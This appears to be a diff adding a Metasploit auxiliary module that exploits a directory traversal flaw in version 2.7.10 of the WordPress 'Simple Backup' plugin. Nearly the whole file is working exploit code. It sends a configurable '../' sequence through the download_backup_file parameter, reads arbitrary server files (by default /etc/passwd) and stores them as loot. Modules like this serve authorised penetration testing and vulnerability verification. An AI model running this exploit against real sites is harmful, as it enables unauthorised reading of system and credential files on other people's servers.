|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'WordPress Simple Backup File Read Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability in WordPress Plugin |
| 19 | + "Simple Backup" version 2.7.10, allowing to read arbitrary files with the |
| 20 | + web server privileges. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + ['WPVDB', '7997'], |
| 25 | + ['URL', 'http://packetstormsecurity.com/files/131919/'] |
| 26 | + ], |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Mahdi.Hidden', # Vulnerability Discovery |
| 30 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), |
| 38 | + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) |
| 39 | + ], self.class) |
| 40 | + end |
| 41 | + |
| 42 | + def check |
| 43 | + check_plugin_version_from_readme('simple-backup', '2.7.11') |
| 44 | + end |
| 45 | + |
| 46 | + def run_host(ip) |
| 47 | + traversal = '../' * datastore['DEPTH'] |
| 48 | + filename = datastore['FILEPATH'] |
| 49 | + filename = filename[1, filename.length] if filename =~ /^\// |
| 50 | + |
| 51 | + res = send_request_cgi( |
| 52 | + 'method' => 'GET', |
| 53 | + 'uri' => normalize_uri(wordpress_url_backend, 'tools.php'), |
| 54 | + 'vars_get' => |
| 55 | + { |
| 56 | + 'page' => 'backup_manager', |
| 57 | + 'download_backup_file' => "#{traversal}#{filename}" |
| 58 | + } |
| 59 | + ) |
| 60 | + |
| 61 | + unless res && res.body |
| 62 | + vprint_error("#{peer} - Server did not respond in an expected way.") |
| 63 | + return |
| 64 | + end |
| 65 | + |
| 66 | + if res.code == 200 && |
| 67 | + res.body.length > 0 && |
| 68 | + res.headers['Content-Disposition'] && |
| 69 | + res.headers['Content-Disposition'].include?('attachment; filename') && |
| 70 | + res.headers['Content-Length'] && |
| 71 | + res.headers['Content-Length'].to_i > 0 |
| 72 | + |
| 73 | + vprint_line("#{res.body}") |
| 74 | + fname = datastore['FILEPATH'] |
| 75 | + |
| 76 | + path = store_loot( |
| 77 | + 'simplebackup.traversal', |
| 78 | + 'text/plain', |
| 79 | + ip, |
| 80 | + res.body, |
| 81 | + fname |
| 82 | + ) |
| 83 | + |
| 84 | + print_good("#{peer} - File saved in: #{path}") |
| 85 | + else |
| 86 | + vprint_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.") |
| 87 | + end |
| 88 | + end |
| 89 | +end |
0 commit comments